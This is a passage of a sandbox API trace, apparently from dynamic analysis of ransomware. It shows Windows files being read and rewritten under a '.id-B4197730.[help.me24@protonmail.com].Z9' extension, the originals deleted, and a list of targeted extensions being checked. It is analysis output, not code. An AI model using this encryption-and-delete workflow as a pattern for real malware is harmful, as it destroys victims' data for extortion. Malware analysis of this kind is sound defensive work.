	[0085.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.782] lstrlenW (lpString=".1cd") returned 4
	[0085.782] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.782] lstrlenW (lpString=".jpg") returned 4
	[0085.782] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.783] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.783] lstrlenW (lpString="AppVScripting.dll") returned 17
	[0085.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.783] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=512216) returned 1
	[0085.783] CloseHandle (hObject=0x338) returned 1
	[0085.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20
	[0085.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.784] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.784] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.784] GetLastError () returned 0x0
	[0085.784] ReadFile (in: hFile=0x338, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x7d0d8, lpOverlapped=0x0) returned 1
	[0085.795] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x7d0e0, lpOverlapped=0x0) returned 1
	[0085.803] ReadFile (in: hFile=0x338, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.803] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0085.803] SetEndOfFile (hFile=0x360) returned 1
	[0085.803] CloseHandle (hObject=0x360) returned 1
	[0085.813] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.813] SetEndOfFile (hFile=0x338) returned 1
	[0085.817] CloseHandle (hObject=0x338) returned 1
	[0085.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0085.817] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1
	[0085.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0085.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0085.818] lstrlenW (lpString=".doc") returned 4
	[0085.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.818] lstrlenW (lpString=".docx") returned 5
	[0085.818] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0085.818] lstrlenW (lpString=".pdf") returned 4
	[0085.818] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.818] lstrlenW (lpString=".xls") returned 4
	[0085.818] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.818] lstrlenW (lpString=".xlsx") returned 5
	[0085.818] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0085.818] lstrlenW (lpString=".ppt") returned 4
	[0085.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0085.818] lstrlenW (lpString=".zip") returned 4
	[0085.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.225] lstrlenW (lpString=".rar") returned 4
	[0086.225] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.225] lstrlenW (lpString=".bz2") returned 4
	[0086.225] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.225] lstrlenW (lpString=".7z") returned 3
	[0086.225] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.225] lstrlenW (lpString=".dbf") returned 4
	[0086.225] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.225] lstrlenW (lpString=".1cd") returned 4
	[0086.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.225] lstrlenW (lpString=".jpg") returned 4
	[0086.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.225] lstrlenW (lpString=".doc") returned 4
	[0086.225] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.225] lstrlenW (lpString=".docx") returned 5
	[0086.225] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0086.225] lstrlenW (lpString=".pdf") returned 4
	[0086.225] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.226] lstrlenW (lpString=".xls") returned 4
	[0086.226] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.226] lstrlenW (lpString=".xlsx") returned 5
	[0086.226] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0086.226] lstrlenW (lpString=".ppt") returned 4
	[0086.226] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.226] lstrlenW (lpString=".zip") returned 4
	[0086.226] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.226] lstrlenW (lpString=".rar") returned 4
	[0086.226] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.226] lstrlenW (lpString=".bz2") returned 4
	[0086.226] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.226] lstrlenW (lpString=".7z") returned 3
	[0086.226] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.226] lstrlenW (lpString=".dbf") returned 4
	[0086.226] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.226] lstrlenW (lpString=".1cd") returned 4
	[0086.226] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.226] lstrlenW (lpString=".jpg") returned 4
	[0086.226] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.226] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0086.226] lstrlenW (lpString="AppVShNotify.exe") returned 16
	[0086.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0086.227] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=263896) returned 1
	[0086.227] CloseHandle (hObject=0x300) returned 1
	[0086.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20
	[0086.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0086.227] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.227] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.228] GetLastError () returned 0x0
	[0086.228] ReadFile (in: hFile=0x300, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x406d8, lpOverlapped=0x0) returned 1
	[0086.874] WriteFile (in: hFile=0x39c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x406e0, lpOverlapped=0x0) returned 1
	[0086.880] ReadFile (in: hFile=0x300, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.880] WriteFile (in: hFile=0x39c, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0086.880] SetEndOfFile (hFile=0x39c) returned 1
	[0086.880] CloseHandle (hObject=0x39c) returned 1
	[0086.913] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.913] SetEndOfFile (hFile=0x300) returned 1
	[0086.917] CloseHandle (hObject=0x300) returned 1
	[0086.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0086.917] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1
	[0086.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.918] lstrlenW (lpString=".doc") returned 4
	[0086.918] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.918] lstrlenW (lpString=".docx") returned 5
	[0086.918] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0086.918] lstrlenW (lpString=".pdf") returned 4
	[0086.918] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.918] lstrlenW (lpString=".xls") returned 4
	[0086.918] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.918] lstrlenW (lpString=".xlsx") returned 5
	[0086.918] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0086.918] lstrlenW (lpString=".ppt") returned 4
	[0086.918] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.918] lstrlenW (lpString=".zip") returned 4
	[0086.918] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.918] lstrlenW (lpString=".rar") returned 4
	[0086.918] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.918] lstrlenW (lpString=".bz2") returned 4
	[0086.918] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.918] lstrlenW (lpString=".7z") returned 3
	[0086.918] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.918] lstrlenW (lpString=".dbf") returned 4
	[0086.918] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.918] lstrlenW (lpString=".1cd") returned 4
	[0086.919] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.919] lstrlenW (lpString=".jpg") returned 4
	[0086.919] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.919] lstrlenW (lpString=".doc") returned 4
	[0086.919] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.919] lstrlenW (lpString=".docx") returned 5
	[0086.919] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0086.919] lstrlenW (lpString=".pdf") returned 4
	[0086.919] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.919] lstrlenW (lpString=".xls") returned 4
	[0086.919] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.919] lstrlenW (lpString=".xlsx") returned 5
	[0086.919] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0086.919] lstrlenW (lpString=".ppt") returned 4
	[0086.919] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.919] lstrlenW (lpString=".zip") returned 4
	[0086.919] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.919] lstrlenW (lpString=".rar") returned 4
	[0086.919] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.919] lstrlenW (lpString=".bz2") returned 4
	[0086.919] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.919] lstrlenW (lpString=".7z") returned 3
	[0086.919] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.919] lstrlenW (lpString=".dbf") returned 4
	[0086.919] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.920] lstrlenW (lpString=".1cd") returned 4
	[0086.920] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.920] lstrlenW (lpString=".jpg") returned 4
	[0086.920] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.920] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0086.920] lstrlenW (lpString="C2RUI.en-us.dll") returned 15
	[0086.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.135] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=902328) returned 1
	[0087.135] CloseHandle (hObject=0x390) returned 1
	[0087.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20
	[0087.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0087.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.135] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.135] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0087.137] GetLastError () returned 0x0
	[0087.137] ReadFile (in: hFile=0x390, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xdc4b8, lpOverlapped=0x0) returned 1
	[0087.333] WriteFile (in: hFile=0x380, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xdc4c0, lpOverlapped=0x0) returned 1
	[0087.442] ReadFile (in: hFile=0x390, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.442] WriteFile (in: hFile=0x380, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0087.442] SetEndOfFile (hFile=0x380) returned 1
	[0087.442] CloseHandle (hObject=0x380) returned 1
	[0088.122] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.122] SetEndOfFile (hFile=0x390) returned 1
	[0088.130] CloseHandle (hObject=0x390) returned 1
	[0088.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.130] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1
	[0088.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.131] lstrlenW (lpString=".doc") returned 4
	[0088.131] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.131] lstrlenW (lpString=".docx") returned 5
	[0088.131] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0088.131] lstrlenW (lpString=".pdf") returned 4
	[0088.131] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.131] lstrlenW (lpString=".xls") returned 4
	[0088.131] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.131] lstrlenW (lpString=".xlsx") returned 5
	[0088.131] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0088.131] lstrlenW (lpString=".ppt") returned 4
	[0088.131] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.131] lstrlenW (lpString=".zip") returned 4
	[0088.131] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.131] lstrlenW (lpString=".rar") returned 4
	[0088.131] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.131] lstrlenW (lpString=".bz2") returned 4
	[0088.131] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.131] lstrlenW (lpString=".7z") returned 3
	[0088.131] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.131] lstrlenW (lpString=".dbf") returned 4
	[0088.131] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.131] lstrlenW (lpString=".1cd") returned 4
	[0088.131] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.131] lstrlenW (lpString=".jpg") returned 4
	[0088.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.132] lstrlenW (lpString=".doc") returned 4
	[0088.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString=".docx") returned 5
	[0088.132] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0088.132] lstrlenW (lpString=".pdf") returned 4
	[0088.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString=".xls") returned 4
	[0088.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString=".xlsx") returned 5
	[0088.132] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0088.132] lstrlenW (lpString=".ppt") returned 4
	[0088.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.132] lstrlenW (lpString=".zip") returned 4
	[0088.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString=".rar") returned 4
	[0088.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.132] lstrlenW (lpString=".bz2") returned 4
	[0088.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.132] lstrlenW (lpString=".7z") returned 3
	[0088.132] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.132] lstrlenW (lpString=".dbf") returned 4
	[0088.132] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.132] lstrlenW (lpString=".1cd") returned 4
	[0088.132] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0088.132] lstrlenW (lpString=".jpg") returned 4
	[0088.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
